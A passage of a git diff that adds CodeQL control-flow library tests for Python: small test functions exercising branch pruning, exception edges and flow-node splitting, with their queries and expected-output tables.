return + if t2: + return + if t1: + count + if not t2: + count + +def negated_conditional_dead(test): + if not test: + return + if not test: + count + +def made_true2(m): + if m: + return + del m['a'] + if m: + count + +def prune_const_branches(): + if None: + count + if not None: + count + if False: + count + else: + count + if True: + count + else: + count + if 0: + count + else: + count + if -4: + count + else: + count + #Muliptle nots + if not not False: + count + if not not not False: + count + +#ODASA-6794 +def attribute_lookup_cannot_effect_comparisons_with_immutable_constants(ps): + if ps is not None: + ps_clamped = ps.clamp() + if ps is None: + count + else: + count + diff --git a/python/ql/test/library-tests/ControlFlow/pruning/test.ql b/python/ql/test/library-tests/ControlFlow/pruning/test.ql new file mode 100644 index 00000000000..837228fcd2a --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/pruning/test.ql @@ -0,0 +1,5 @@ +import python + +from Name n +where n.getId() = "count" +select n.getLocation().getStartLine(), count(n.getAFlowNode()) diff --git a/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.expected b/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.expected new file mode 100644 index 00000000000..ed831c69967 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.expected @@ -0,0 +1,99 @@ +| 5 | ControlFlowNode for ImportExpr | normal | 5 | test.py:5:1:5:16 | ControlFlowNode for from _s import * | +| 5 | ControlFlowNode for from _s import * | normal | 7 | test.py:7:1:7:8 | ControlFlowNode for FunctionExpr | +| 7 | ControlFlowNode for FunctionExpr | normal | 7 | test.py:7:5:7:5 | ControlFlowNode for f | +| 7 | ControlFlowNode for f | normal | 15 | test.py:15:1:15:8 | ControlFlowNode for FunctionExpr | +| 8 | ControlFlowNode for ImportExpr | normal | 8 | test.py:8:12:8:12 | ControlFlowNode for x | +| 8 | ControlFlowNode for x | normal | 9 | test.py:9:10:9:10 | ControlFlowNode for ImportExpr | +| 9 | ControlFlowNode for ImportExpr | normal | 9 | test.py:9:19:9:19 | ControlFlowNode for ImportMember | +| 9 | ControlFlowNode for ImportMember | normal | 9 | test.py:9:19:9:19 | ControlFlowNode for b | +| 9 | ControlFlowNode for b | normal | 10 | test.py:10:9:10:12 | ControlFlowNode for AA_s | +| 10 | ControlFlowNode for AA_s | normal | 10 | test.py:10:14:10:14 | ControlFlowNode for IntegerLiteral | +| 10 | ControlFlowNode for Delete | normal | 12 | test.py:12:18:12:21 | ControlFlowNode for AA_p | +| 10 | ControlFlowNode for IntegerLiteral | normal | 10 | test.py:10:9:10:15 | ControlFlowNode for Subscript | +| 10 | ControlFlowNode for Subscript | normal | 10 | test.py:10:5:10:15 | ControlFlowNode for Delete | +| 12 | ControlFlowNode for AA_p | normal | 12 | test.py:12:5:12:14 | ControlFlowNode for Tuple | +| 12 | ControlFlowNode for AA_q | normal | 12 | test.py:12:11:12:14 | ControlFlowNode for AA_r | +| 12 | ControlFlowNode for AA_r | normal | 13 | test.py:13:12:13:15 | ControlFlowNode for AA_c | +| 12 | ControlFlowNode for Tuple | normal | 12 | test.py:12:5:12:8 | ControlFlowNode for AA_q | +| 13 | ControlFlowNode for AA_c | normal | 13 | test.py:13:20:13:23 | ControlFlowNode for AA_d | +| 13 | ControlFlowNode for AA_d | normal | 13 | test.py:13:12:13:23 | ControlFlowNode for Compare | +| 13 | ControlFlowNode for Compare | normal | 13 | test.py:13:5:13:23 | ControlFlowNode for Assert | +| 13 | ControlFlowNode for Compare | normal | 13 | test.py:13:5:13:23 | ControlFlowNode for Assert | +| 15 | ControlFlowNode for FunctionExpr | normal | 15 | test.py:15:5:15:5 | ControlFlowNode for g | +| 15 | ControlFlowNode for g | normal | 26 | test.py:26:1:26:8 | ControlFlowNode for FunctionExpr | +| 16 | ControlFlowNode for Try | normal | 17 | test.py:17:16:17:16 | ControlFlowNode for ImportExpr | +| 17 | ControlFlowNode for ImportExpr | normal | 17 | test.py:17:16:17:16 | ControlFlowNode for x | +| 17 | ControlFlowNode for ImportExpr | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 17 | ControlFlowNode for x | normal | 18 | test.py:18:14:18:14 | ControlFlowNode for ImportExpr | +| 18 | ControlFlowNode for ImportExpr | normal | 18 | test.py:18:23:18:23 | ControlFlowNode for ImportMember | +| 18 | ControlFlowNode for ImportExpr | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 18 | ControlFlowNode for ImportMember | normal | 18 | test.py:18:23:18:23 | ControlFlowNode for b | +| 18 | ControlFlowNode for ImportMember | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 18 | ControlFlowNode for b | normal | 19 | test.py:19:13:19:16 | ControlFlowNode for AA_s | +| 19 | ControlFlowNode for AA_s | normal | 19 | test.py:19:18:19:18 | ControlFlowNode for IntegerLiteral | +| 19 | ControlFlowNode for AA_s | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 19 | ControlFlowNode for Delete | normal | 21 | test.py:21:22:21:25 | ControlFlowNode for AA_p | +| 19 | ControlFlowNode for IntegerLiteral | normal | 19 | test.py:19:13:19:19 | ControlFlowNode for Subscript | +| 19 | ControlFlowNode for Subscript | normal | 19 | test.py:19:9:19:19 | ControlFlowNode for Delete | +| 19 | ControlFlowNode for Subscript | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 21 | ControlFlowNode for AA_p | normal | 21 | test.py:21:9:21:18 | ControlFlowNode for Tuple | +| 21 | ControlFlowNode for AA_p | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 21 | ControlFlowNode for AA_q | normal | 21 | test.py:21:15:21:18 | ControlFlowNode for AA_r | +| 21 | ControlFlowNode for AA_r | normal | 22 | test.py:22:16:22:19 | ControlFlowNode for AA_c | +| 21 | ControlFlowNode for Tuple | normal | 21 | test.py:21:9:21:12 | ControlFlowNode for AA_q | +| 21 | ControlFlowNode for Tuple | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 22 | ControlFlowNode for AA_c | normal | 22 | test.py:22:24:22:27 | ControlFlowNode for AA_d | +| 22 | ControlFlowNode for AA_c | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 22 | ControlFlowNode for AA_d | normal | 22 | test.py:22:16:22:27 | ControlFlowNode for Compare | +| 22 | ControlFlowNode for AA_d | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 22 | ControlFlowNode for Assert | exception | 23 | test.py:23:5:23:11 | ControlFlowNode for ExceptStmt | +| 22 | ControlFlowNode for Compare | normal | 22 | test.py:22:9:22:27 | ControlFlowNode for Assert | +| 22 | ControlFlowNode for Compare | normal | 22 | test.py:22:9:22:27 | ControlFlowNode for Assert | +| 23 | ControlFlowNode for ExceptStmt | normal | 24 | test.py:24:9:24:12 | ControlFlowNode for Pass | +| 26 | ControlFlowNode for FunctionExpr | normal | 26 | test.py:26:5:26:5 | ControlFlowNode for h | +| 26 | ControlFlowNode for h | normal | 34 | test.py:34:1:34:8 | ControlFlowNode for FunctionExpr | +| 27 | ControlFlowNode for Try | normal | 28 | test.py:28:9:28:14 | ControlFlowNode for a_call | +| 28 | ControlFlowNode for a_call | normal | 28 | test.py:28:9:28:16 | ControlFlowNode for a_call() | +| 28 | ControlFlowNode for a_call | exception | 29 | test.py:29:5:29:11 | ControlFlowNode for ExceptStmt | +| 28 | ControlFlowNode for a_call() | normal | 32 | test.py:32:9:32:12 | ControlFlowNode for Pass | +| 28 | ControlFlowNode for a_call() | exception | 29 | test.py:29:5:29:11 | ControlFlowNode for ExceptStmt | +| 29 | ControlFlowNode for ExceptStmt | normal | 30 | test.py:30:16:30:19 | ControlFlowNode for AA_c | +| 30 | ControlFlowNode for AA_c | normal | 30 | test.py:30:24:30:27 | ControlFlowNode for AA_d | +| 30 | ControlFlowNode for AA_c | exception | 32 | test.py:32:9:32:12 | ControlFlowNode for Pass | +| 30 | ControlFlowNode for AA_d | normal | 30 | test.py:30:16:30:27 | ControlFlowNode for Compare | +| 30 | ControlFlowNode for AA_d | exception | 32 | test.py:32:9:32:12 | ControlFlowNode for Pass | +| 30 | ControlFlowNode for Assert | normal | 32 | test.py:32:9:32:12 | ControlFlowNode for Pass | +| 30 | ControlFlowNode for Assert | exception | 32 | test.py:32:9:32:12 | ControlFlowNode for Pass | +| 30 | ControlFlowNode for Compare | normal | 30 | test.py:30:9:30:27 | ControlFlowNode for Assert | +| 30 | ControlFlowNode for Compare | normal | 30 | test.py:30:9:30:27 | ControlFlowNode for Assert | +| 34 | ControlFlowNode for FunctionExpr | normal | 34 | test.py:34:5:34:5 | ControlFlowNode for k | +| 34 | ControlFlowNode for k | normal | 45 | test.py:45:1:45:19 | ControlFlowNode for FunctionExpr | +| 35 | ControlFlowNode for Try | normal | 37 | test.py:37:13:37:13 | ControlFlowNode for y | +| 37 | ControlFlowNode for x | normal | 38 | test.py:38:16:38:16 | ControlFlowNode for a | +| 37 | ControlFlowNode for y | normal | 37 | test.py:37:9:37:9 | ControlFlowNode for x | +| 37 | ControlFlowNode for y | exception | 41 | test.py:41:5:41:11 | ControlFlowNode for ExceptStmt | +| 38 | ControlFlowNode for Tuple | normal | 38 | test.py:38:9:38:9 | ControlFlowNode for c | +| 38 | ControlFlowNode for Tuple | normal | 38 | test.py:38:9:38:12 | ControlFlowNode for Tuple | +| 38 | ControlFlowNode for a | normal | 38 | test.py:38:19:38:19 | ControlFlowNode for b | +| 38 | ControlFlowNode for a | exception | 41 | test.py:41:5:41:11 | ControlFlowNode for ExceptStmt | +| 38 | ControlFlowNode for b | normal | 38 | test.py:38:16:38:19 | ControlFlowNode for Tuple | +| 38 | ControlFlowNode for b | exception | 41 | test.py:41:5:41:11 | ControlFlowNode for ExceptStmt | +| 38 | ControlFlowNode for c | normal | 38 | test.py:38:12:38:12 | ControlFlowNode for d | +| 38 | ControlFlowNode for d | normal | 40 | test.py:40:16:40:16 | ControlFlowNode for p | +| 40 | ControlFlowNode for Tuple | normal | 40 | test.py:40:9:40:9 | ControlFlowNode for q | +| 40 | ControlFlowNode for Tuple | exception | 41 | test.py:41:5:41:11 | ControlFlowNode for ExceptStmt | +| 40 | ControlFlowNode for p | normal | 40 | test.py:40:9:40:12 | ControlFlowNode for Tuple | +| 40 | ControlFlowNode for p | exception | 41 | test.py:41:5:41:11 | ControlFlowNode for ExceptStmt | +| 40 | ControlFlowNode for q | normal | 40 | test.py:40:12:40:12 | ControlFlowNode for r | +| 41 | ControlFlowNode for ExceptStmt | normal | 42 | test.py:42:9:42:12 | ControlFlowNode for Pass | +| 45 | ControlFlowNode for FunctionExpr | normal | 45 | test.py:45:5:45:13 | ControlFlowNode for odasa3686 | +| 45 | ControlFlowNode for obj | normal | 47 | test.py:47:9:47:12 | ControlFlowNode for Try | +| 47 | ControlFlowNode for Try | normal | 48 | test.py:48:13:48:16 | ControlFlowNode for None | +| 48 | ControlFlowNode for Compare | normal | 49 | test.py:49:20:49:23 | ControlFlowNode for True | +| 48 | ControlFlowNode for Compare | exception | 50 | test.py:50:9:50:25 | ControlFlowNode for ExceptStmt | +| 48 | ControlFlowNode for None | normal | 48 | test.py:48:21:48:23 | ControlFlowNode for obj | +| 48 | ControlFlowNode for obj | normal | 48 | test.py:48:13:48:23 | ControlFlowNode for Compare | +| 49 | ControlFlowNode for True | normal | 49 | test.py:49:13:49:23 | ControlFlowNode for Return | +| 50 | ControlFlowNode for ExceptStmt | normal | 50 | test.py:50:16:50:24 | ControlFlowNode for TypeError | +| 50 | ControlFlowNode for TypeError | normal | 51 | test.py:51:20:51:24 | ControlFlowNode for False | +| 51 | ControlFlowNode for False | normal | 51 | test.py:51:13:51:24 | ControlFlowNode for Return | diff --git a/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.ql b/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.ql new file mode 100644 index 00000000000..bfc884f7bac --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/raising_stmts/RaisingFlow.ql @@ -0,0 +1,17 @@ +/** + * @name Raising Flow + * @description Test + */ + +import python + +from ControlFlowNode p, ControlFlowNode s, string kind +where p.getASuccessor() = s and +(if s = p.getAnExceptionalSuccessor() then + kind = "exception" + else + kind = " normal " +) and +not p.getNode() instanceof Scope and +not s.getNode() instanceof Scope +select p.getNode().getLocation().getStartLine(), p.toString(), kind, s.getNode().getLocation().getStartLine(), s diff --git a/python/ql/test/library-tests/ControlFlow/raising_stmts/test.py b/python/ql/test/library-tests/ControlFlow/raising_stmts/test.py new file mode 100644 index 00000000000..42e8baa47cb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/raising_stmts/test.py @@ -0,0 +1,51 @@ +#All variables that will evaluate before statements start with "AA_" +#so that the test output better reflects the execution order and makes +#it easier to manually verify. + +from _s import * + +def f(): + import x + from a import b + del AA_s[0] + + AA_q, AA_r = AA_p + assert AA_c == AA_d + +def g(): + try: + import x + from a import b + del AA_s[0] + + AA_q, AA_r = AA_p + assert AA_c == AA_d + except: + pass + +def h(): + try: + a_call() + except: + assert AA_c == AA_d + finally: + pass + +def k(): + try: + #Safe + x = y + c, d = a, b + #Unsafe + q, r = p + except: + pass + + +def odasa3686(obj): + #Test for iterability + try: + None in obj + return True + except TypeError: + return False diff --git a/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.expected b/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.expected new file mode 100644 index 00000000000..c1ce91c2e8d --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/splitting/NodeCount.expected @@ -0,0 +1,565 @@ +| 2 | split1 | test.py:2:12:2:15 | cond | 1 | +| 3 | split1 | test.py:3:8:3:11 | cond | 1 | +| 4 | split1 | test.py:4:9:4:12 | Pass | 1 | +| 5 | split1 | test.py:5:8:5:11 | cond | 2 | +| 6 | split1 | test.py:6:9:6:12 | Pass | 1 | +| 8 | dont_split1 | test.py:8:17:8:20 | cond | 1 | +| 9 | dont_split1 | test.py:9:8:9:11 | cond | 1 | +| 10 | dont_split1 | test.py:10:9:10:12 | Pass | 1 | +| 11 | dont_split1 | test.py:11:5:11:8 | cond | 1 | +| 11 | dont_split1 | test.py:11:12:11:12 | f | 1 | +| 11 | dont_split1 | test.py:11:12:11:14 | f() | 1 | +| 12 | dont_split1 | test.py:12:8:12:11 | cond | 1 | +| 13 | dont_split1 | test.py:13:9:13:12 | Pass | 1 | +| 15 | dont_split2 | test.py:15:17:15:20 | cond | 1 | +| 16 | dont_split2 | test.py:16:8:16:11 | cond | 1 | +| 17 | dont_split2 | test.py:17:9:17:12 | Pass | 1 | +| 18 | dont_split2 | test.py:18:5:18:20 | For | 1 | +| 18 | dont_split2 | test.py:18:9:18:12 | cond | 1 | +| 18 | dont_split2 | test.py:18:17:18:19 | seq | 1 | +| 18 | dont_split2 | test.py:18:22:18:25 | Pass | 1 | +| 19 | dont_split2 | test.py:19:8:19:11 | cond | 1 | +| 20 | dont_split2 | test.py:20:9:20:12 | Pass | 1 | +| 24 | split2 | test.py:24:5:24:8 | Try | 1 | +| 25 | split2 | test.py:25:9:25:12 | call | 1 | +| 25 | split2 | test.py:25:9:25:14 | call() | 1 | +| 26 | split2 | test.py:26:9:26:9 | x | 1 | +| 26 | split2 | test.py:26:13:26:16 | True | 1 | +| 27 | split2 | test.py:27:5:27:11 | ExceptStmt | 1 | +| 28 | split2 | test.py:28:9:28:9 | x | 1 | +| 28 | split2 | test.py:28:13:28:17 | False | 1 | +| 29 | split2 | test.py:29:8:29:8 | x | 2 | +| 30 | split2 | test.py:30:9:30:12 | Pass | 1 | +| 33 | unclear_split3 | test.py:33:5:33:8 | Try | 1 | +| 34 | unclear_split3 | test.py:34:9:34:12 | call | 1 | +| 34 | unclear_split3 | test.py:34:9:34:14 | call() | 1 | +| 35 | unclear_split3 | test.py:35:9:35:9 | x | 1 | +| 35 | unclear_split3 | test.py:35:13:35:16 | True | 1 | +| 36 | unclear_split3 | test.py:36:5:36:11 | ExceptStmt | 1 | +| 37 | unclear_split3 | test.py:37:9:37:9 | x | 1 | +| 37 | unclear_split3 | test.py:37:13:37:17 | False | 1 | +| 38 | unclear_split3 | test.py:38:8:38:11 | cond | 1 | +| 39 | unclear_split3 | test.py:39:9:39:9 | x | 1 | +| 39 | unclear_split3 | test.py:39:13:39:17 | False | 1 | +| 40 | unclear_split3 | test.py:40:8:40:8 | x | 2 | +| 41 | unclear_split3 | test.py:41:9:41:12 | Pass | 1 | +| 43 | split4 | test.py:43:12:43:12 | x | 1 | +| 44 | split4 | test.py:44:8:44:8 | x | 1 | +| 44 | split4 | test.py:44:8:44:16 | Compare | 1 | +| 44 | split4 | test.py:44:13:44:16 | None | 1 | +| 45 | split4 | test.py:45:9:45:9 | x | 1 | +| 45 | split4 | test.py:45:13:45:20 | not_none | 1 | +| 45 | split4 | test.py:45:13:45:22 | not_none() | 1 | +| 46 | split4 | test.py:46:5:46:5 | c | 1 | +| 46 | split4 | test.py:46:5:46:17 | IfExp | 1 | +| 46 | split4 | test.py:46:10:46:10 | b | 1 | +| 46 | split4 | test.py:46:17:46:17 | c | 1 | +| 47 | split4 | test.py:47:5:47:12 | Return | 1 | +| 47 | split4 | test.py:47:12:47:12 | x | 1 | +| 49 | split_carefully_5 | test.py:49:23:49:23 | x | 1 | +| 50 | split_carefully_5 | test.py:50:8:50:8 | x | 1 | +| 50 | split_carefully_5 | test.py:50:8:50:16 | Compare | 1 | +| 50 | split_carefully_5 | test.py:50:13:50:16 | None | 1 | +| 51 | split_carefully_5 | test.py:51:9:51:9 | x | 1 | +| 51 | split_carefully_5 | test.py:51:13:51:20 | not_none | 1 | +| 51 | split_carefully_5 | test.py:51:13:51:22 | not_none() | 1 | +| 52 | split_carefully_5 | test.py:52:8:52:8 | x | 1 | +| 53 | split_carefully_5 | test.py:53:9:53:12 | Pass | 1 | +| 54 | split_carefully_5 | test.py:54:5:54:12 | Return | 1 | +| 54 | split_carefully_5 | test.py:54:12:54:12 | x | 1 | +| 58 | dont_split_globals | test.py:58:8:58:11 | cond | 1 | +| 59 | dont_split_globals | test.py:59:9:59:12 | Pass | 1 | +| 60 | dont_split_globals | test.py:60:5:60:31 | call_could_alter_any_global | 2 | +| 60 | dont_split_globals | test.py:60:5:60:33 | call_could_alter_any_global() | 2 | +| 61 | dont_split_globals | test.py:61:8:61:11 | cond | 2 | +| 62 | dont_split_globals | test.py:62:9:62:12 | Pass | 2 | +| 64 | limit_splitting1 | test.py:64:22:64:22 | a | 1 | +| 64 | limit_splitting1 | test.py:64:24:64:24 | b | 1 | +| 64 | limit_splitting1 | test.py:64:26:64:26 | c | 1 | +| 64 | limit_splitting1 | test.py:64:28:64:28 | d | 1 | +| 65 | limit_splitting1 | test.py:65:8:65:8 | a | 1 | +| 65 | limit_splitting1 | test.py:65:8:65:16 | Compare | 1 | +| 65 | limit_splitting1 | test.py:65:13:65:16 | None | 1 | +| 65 | limit_splitting1 | test.py:65:19:65:19 | a | 1 | +| 65 | limit_splitting1 | test.py:65:23:65:25 | Str | 1 | +| 66 | limit_splitting1 | test.py:66:8:66:8 | b | 1 | +| 66 | limit_splitting1 | test.py:66:8:66:16 | Compare | 1 | +| 66 | limit_splitting1 | test.py:66:13:66:16 | None | 1 | +| 66 | limit_splitting1 | test.py:66:19:66:19 | b | 1 | +| 66 | limit_splitting1 | test.py:66:23:66:25 | Str | 1 | +| 67 | limit_splitting1 | test.py:67:8:67:8 | c | 1 | +| 67 | limit_splitting1 | test.py:67:8:67:16 | Compare | 1 | +| 67 | limit_splitting1 | test.py:67:13:67:16 | None | 1 | +| 67 | limit_splitting1 | test.py:67:19:67:19 | c | 1 | +| 67 | limit_splitting1 | test.py:67:23:67:25 | Str | 1 | +| 68 | limit_splitting1 | test.py:68:8:68:8 | d | 1 | +| 68 | limit_splitting1 | test.py:68:8:68:16 | Compare | 1 | +| 68 | limit_splitting1 | test.py:68:13:68:16 | None | 1 | +| 68 | limit_splitting1 | test.py:68:19:68:19 | d | 1 | +| 68 | limit_splitting1 | test.py:68:23:68:25 | Str | 1 | +| 69 | limit_splitting1 | test.py:69:5:69:8 | Pass | 1 | +| 77 | limit_splitting2 | test.py:77:22:77:22 | a | 1 | +| 77 | limit_splitting2 | test.py:77:24:77:24 | b | 1 | +| 77 | limit_splitting2 | test.py:77:26:77:26 | c | 1 | +| 77 | limit_splitting2 | test.py:77:28:77:28 | d | 1 | +| 78 | limit_splitting2 | test.py:78:8:78:8 | a | 1 | +| 79 | limit_splitting2 | test.py:79:9:79:12 | Pass | 1 | +| 80 | limit_splitting2 | test.py:80:8:80:8 | b | 2 | +| 81 | limit_splitting2 | test.py:81:9:81:12 | Pass | 2 | +| 82 | limit_splitting2 | test.py:82:8:82:8 | c | 4 | +| 83 | limit_splitting2 | test.py:83:9:83:12 | Pass | 4 | +| 84 | limit_splitting2 | test.py:84:8:84:8 | d | 4 | +| 85 | limit_splitting2 | test.py:85:9:85:12 | Pass | 4 | +| 87 | limit_splitting2 | test.py:87:8:87:8 | a | 4 | +| 88 | limit_splitting2 | test.py:88:9:88:10 | a1 | 2 | +| 89 | limit_splitting2 | test.py:89:8:89:8 | b | 4 | +| 90 | limit_splitting2 | test.py:90:9:90:10 | b1 | 2 | +| 92 | limit_splitting2 | test.py:92:8:92:8 | c | 4 | +| 93 | limit_splitting2 | test.py:93:9:93:10 | c1 | 4 | +| 94 | limit_splitting2 | test.py:94:8:94:8 | d | 4 | +| 95 | limit_splitting2 | test.py:95:9:95:10 | d1 | 4 | +| 98 | split_on_numbers | test.py:98:5:98:8 | Try | 1 | +| 99 | split_on_numbers | test.py:99:9:99:12 | call | 1 | +| 99 | split_on_numbers | test.py:99:9:99:14 | call() | 1 | +| 100 | split_on_numbers | test.py:100:9:100:9 | x | 1 | +| 100 | split_on_numbers | test.py:100:13:100:14 | UnaryExpr | 1 | +| 100 | split_on_numbers | test.py:100:14:100:14 | IntegerLiteral | 1 | +| 101 | split_on_numbers | test.py:101:5:101:11 | ExceptStmt | 1 | +| 102 | split_on_numbers | test.py:102:9:102:9 | x | 1 | +| 102 | split_on_numbers | test.py:102:13:102:13 | IntegerLiteral | 1 | +| 103 | split_on_numbers | test.py:103:8:103:8 | x | 2 | +| 104 | split_on_numbers | test.py:104:9:104:12 | Pass | 1 | +| 107 | split_try_except_else | test.py:107:5:107:8 | Try | 1 | +| 108 | split_try_except_else | test.py:108:9:108:12 | call | 1 | +| 108 | split_try_except_else | test.py:108:9:108:14 | call() | 1 | +| 109 | split_try_except_else | test.py:109:5:109:11 | ExceptStmt | 1 | +| 110 | split_try_except_else | test.py:110:9:110:9 | x | 1 | +| 110 | split_try_except_else | test.py:110:13:110:13 | IntegerLiteral | 1 | +| 112 | split_try_except_else | test.py:112:9:112:9 | x | 1 | +| 112 | split_try_except_else | test.py:112:13:112:13 | IntegerLiteral | 1 | +| 113 | split_try_except_else | test.py:113:8:113:8 | x | 2 | +| 114 | split_try_except_else | test.py:114:9:114:12 | Pass | 1 | +| 119 | logging | test.py:119:5:119:8 | Try | 1 | +| 120 | logging | test.py:120:16:120:22 | ImportExpr | 1 | +| 120 | logging | test.py:120:16:120:22 | module1 | 1 | +| 121 | logging | test.py:121:16:121:22 | ImportExpr | 1 | +| 121 | logging | test.py:121:16:121:22 | module2 | 1 | +| 123 | logging | test.py:123:5:123:23 | ExceptStmt | 1 | +| 123 | logging | test.py:123:12:123:22 | ImportError | 1 | +| 124 | logging | test.py:124:9:124:15 | module1 | 1 | +| 124 | logging | test.py:124:19:124:22 | None | 1 | +| 126 | logging | test.py:126:8:126:14 | module1 | 2 | +| 127 | logging | test.py:127:9:127:12 | inst | 1 | +| 127 | logging | test.py:127:16:127:22 | module2 | 1 | +| 127 | logging | test.py:127:16:127:28 | Attribute | 1 | +| 127 | logging | test.py:127:16:127:30 | Attribute() | 1 | +| 131 | split5 | test.py:131:5:131:8 | Try | 1 | +| 132 | split5 | test.py:132:9:132:12 | call | 1 | +| 132 | split5 | test.py:132:9:132:14 | call() | 1 | +| 133 | split5 | test.py:133:9:133:9 | x | 1 | +| 133 | split5 | test.py:133:13:133:16 | True | 1 | +| 134 | split5 | test.py:134:5:134:11 | ExceptStmt | 1 | +| 135 | split5 | test.py:135:9:135:9 | x | 1 | +| 135 | split5 | test.py:135:13:135:17 | False | 1 | +| 136 | split5 | test.py:136:8:136:12 | UnaryExpr | 2 | +| 136 | split5 | test.py:136:12:136:12 | x | 2 | +| 137 | split5 | test.py:137:9:137:12 | Pass | 1 | +| 140 | split6 | test.py:140:5:140:8 | Try | 1 | +| 141 | split6 | test.py:141:9:141:12 | call | 1 | +| 141 | split6 | test.py:141:9:141:14 | call() | 1 | +| 142 | split6 | test.py:142:9:142:9 | x | 1 | +| 142 | split6 | test.py:142:13:142:16 | True | 1 | +| 143 | split6 | test.py:143:5:143:11 | ExceptStmt | 1 | +| 144 | split6 | test.py:144:9:144:9 | x | 1 | +| 144 | split6 | test.py:144:13:144:17 | False | 1 | +| 145 | split6 | test.py:145:8:145:16 | UnaryExpr | 2 | +| 145 | split6 | test.py:145:12:145:16 | UnaryExpr | 2 | +| 145 | split6 | test.py:145:16:145:16 | x | 2 | +| 146 | split6 | test.py:146:9:146:12 | Pass | 1 | +| 149 | split7 | test.py:149:5:149:8 | Try | 1 | +| 150 | split7 | test.py:150:9:150:12 | call | 1 | +| 150 | split7 | test.py:150:9:150:14 | call() | 1 | +| 151 | split7 | test.py:151:9:151:9 | x | 1 | +| 151 | split7 | test.py:151:13:151:20 | UnaryExpr | 1 | +| 151 | split7 | test.py:151:17:151:20 | True | 1 | +| 152 | split7 | test.py:152:5:152:11 | ExceptStmt | 1 | +| 153 | split7 | test.py:153:9:153:9 | x | 1 | +| 153 | split7 | test.py:153:13:153:21 | UnaryExpr | 1 | +| 153 | split7 | test.py:153:17:153:21 | False | 1 | +| 154 | split7 | test.py:154:8:154:8 | x | 2 | +| 155 | split7 | test.py:155:9:155:12 | Pass | 1 | +| 157 | split8 | test.py:157:12:157:15 | cond | 1 | +| 158 | split8 | test.py:158:8:158:11 | cond | 1 | +| 159 | split8 | test.py:159:9:159:9 | t | 1 | +| 159 | split8 | test.py:159:13:159:16 | True | 1 | +| 161 | split8 | test.py:161:9:161:9 | t | 1 | +| 161 | split8 | test.py:161:13:161:17 | False | 1 | +| 162 | split8 | test.py:162:8:162:15 | UnaryExpr | 2 | +| 162 | split8 | test.py:162:12:162:15 | cond | 2 | +| 163 | split8 | test.py:163:12:163:12 | t | 1 | +| 164 | split8 | test.py:164:13:164:16 | Pass | 0 | +| 167 | split9 | test.py:167:12:167:14 | var | 1 | +| 168 | split9 | test.py:168:8:168:10 | var | 1 | +| 168 | split9 | test.py:168:8:168:18 | Compare | 1 | +| 168 | split9 | test.py:168:15:168:18 | None | 1 | +| 169 | split9 | test.py:169:9:169:10 | a1 | 1 | +| 171 | split9 | test.py:171:9:171:10 | a2 | 1 | +| 172 | split9 | test.py:172:8:172:10 | var | 2 | +| 172 | split9 | test.py:172:8:172:22 | Compare | 2 | +| 172 | split9 | test.py:172:19:172:22 | None | 2 | +| 173 | split9 | test.py:173:9:173:10 | b1 | 1 | +| 175 | split9 | test.py:175:9:175:10 | b2 | 1 | +| 177 | split10 | test.py:177:13:177:15 | var | 1 | +| 178 | split10 | test.py:178:8:178:10 | var | 1 | +| 179 | split10 | test.py:179:9:179:10 | a1 | 1 | +| 181 | split10 | test.py:181:9:181:10 | a2 | 1 | +| 182 | split10 | test.py:182:8:182:10 | var | 2 | +| 182 | split10 | test.py:182:8:182:22 | Compare | 2 | +| 182 | split10 | test.py:182:19:182:22 | None | 2 | +| 183 | split10 | test.py:183:9:183:10 | b1 | 2 | +| 185 | split10 | test.py:185:9:185:10 | b2 | 1 | +| 187 | split11 | test.py:187:13:187:15 | var | 1 | +| 188 | split11 | test.py:188:8:188:10 | var | 1 | +| 188 | split11 | test.py:188:8:188:18 | Compare | 1 | +| 188 | split11 | test.py:188:15:188:18 | None | 1 | +| 189 | split11 | test.py:189:9:189:10 | a1 | 1 | +| 191 | split11 | test.py:191:9:191:10 | a2 | 1 | +| 192 | split11 | test.py:192:8:192:10 | var | 2 | +| 193 | split11 | test.py:193:9:193:10 | b1 | 1 | +| 195 | split11 | test.py:195:9:195:10 | b2 | 2 | +| 197 | dont_split_on_unrelated_variables | test.py:197:39:197:42 | var1 | 1 | +| 197 | dont_split_on_unrelated_variables | test.py:197:45:197:48 | var2 | 1 | +| 198 | dont_split_on_unrelated_variables | test.py:198:8:198:11 | var1 | 1 | +| 198 | dont_split_on_unrelated_variables | test.py:198:8:198:19 | Compare | 1 | +| 198 | dont_split_on_unrelated_variables | test.py:198:16:198:19 | None | 1 | +| 199 | dont_split_on_unrelated_variables | test.py:199:9:199:10 | a1 | 1 | +| 201 | dont_split_on_unrelated_variables | test.py:201:9:201:10 | a2 | 1 | +| 202 | dont_split_on_unrelated_variables | test.py:202:8:202:11 | var2 | 1 | +| 202 | dont_split_on_unrelated_variables | test.py:202:8:202:23 | Compare | 1 | +| 202 | dont_split_on_unrelated_variables | test.py:202:20:202:23 | None | 1 | +| 203 | dont_split_on_unrelated_variables | test.py:203:9:203:10 | b1 | 1 | +| 205 | dont_split_on_unrelated_variables | test.py:205:9:205:10 | b2 | 1 | +| 208 | split12 | test.py:208:5:208:8 | Try | 1 | +| 209 | split12 | test.py:209:9:209:12 | call | 1 | +| 209 | split12 | test.py:209:9:209:14 | call() | 1 | +| 210 | split12 | test.py:210:9:210:9 | x | 1 | +| 210 | split12 | test.py:210:13:210:16 | None | 1 | +| 211 | split12 | test.py:211:5:211:11 | ExceptStmt | 1 | +| 212 | split12 | 